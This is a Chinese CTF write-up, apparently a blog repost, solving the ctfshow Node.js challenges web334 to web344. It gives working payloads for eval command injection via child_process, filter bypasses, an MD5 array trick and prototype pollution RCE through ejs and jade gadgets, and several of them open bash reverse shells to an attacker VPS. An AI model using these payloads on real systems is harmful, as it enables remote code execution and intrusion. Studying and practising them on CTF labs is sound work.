下载附件,添加后缀 .zip,之后打开,发现有两个文件login.js和user.js
发现用户名和密码
用户名不能为CTFSHOW
其中toUpperCase()函数为转为大写
所以输入的用户名为ctfshow,密码为123456
得到flag
web335查看页面源代码,发现
可能为GET传参,命令执行
在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。
参考:
child_process 子进程 | Node.js API 文档
构造
?eval=require("child_process").execSync('ls')
发现fl00g.txt,cat即可得到flag
web336和上一题一样,但上一题的payload不能用了
换一个命令
?eval=require( 'child_process' ).spawnSync( 'ls', [ '/' ]).stdout.toString()
小心这里的空格,没有空格可能会出错
还有一种方法
经过测试,这里是过滤了exec,需要绕过
?eval=require("child_process")['exe'%2B'cSync']('ls')
%2B -> +
web337题目给了一个路由
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
分析一下,这里就是判断存在a,b,a的长度等于b的长度,a不等于b(弱类型判断),md5加密a+flag和加密b+flag相等(强类型判断)
首先的思路就是构造数组
payload:
?a[]=1&b[]=1
web338
给了源码
在routes中的login.js中发现
只要满足secert.ctfshow==='36dboy’就可以了
上面一行调用了utils中的copy,我们根据所给的源码找到common.js
这里就是原型链污染,参考:深入理解 JavaScript Prototype 污染攻击 | 离别歌
重点的一句话:
登录时抓包
得到flag
web339同样提供了源码
增加了一个api.js
这个render函数实际上是渲染函数,会在出现特定请求的时候执行特定 *** 作
经过测试,query参数的值是可以直接当做语句来执行的
使用vps反dshell
监听端口
nc -nvlp 9999
payload:
{"username":"admin","password":"admin","__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"')"}}
在index界面POST之后直接POST访问api界面即可
web340
userinfo中的isAdmin的值为真,才能d出flag
还是原型链污染,只不过这里是函数套函数,需要污染两次
payload:
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"')"}}}
web341
源码里没有api.js了,login.js也变了
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"');var __tmp2"}}}
然后随便访问界面即可,比如首页刷新一下,连上后直接输入env看环境变量即可找到flag
深入理解 JavaScript Prototype 污染攻击 | 离别歌
web342-343这里据说是jade rce(https://xz.aliyun.com/t/7025)
{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')"}}}
发包的时候请求头中的“Content-Type”改为"application/json"
找flag依旧是env
web344router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
应该是?query={"name":"admin","password":"ctfshow","isVIP":true}
但是题目过滤了逗号
payload:?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
nodejs中会把这三部分拼接起来,为什么把ctfshow中的c编码呢,因为双引号的url编码是%22再和c连接起来就是%22c,会匹配到正则表达式。
ctfshow nodejs wp_yink12138的博客-CSDN博客
CTFSHOW nodejs篇_yu22x的博客-CSDN博客_ctf node.js
ctfshow NodeJs web334-web344 wp_是Mumuzi的博客-CSDN博客
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)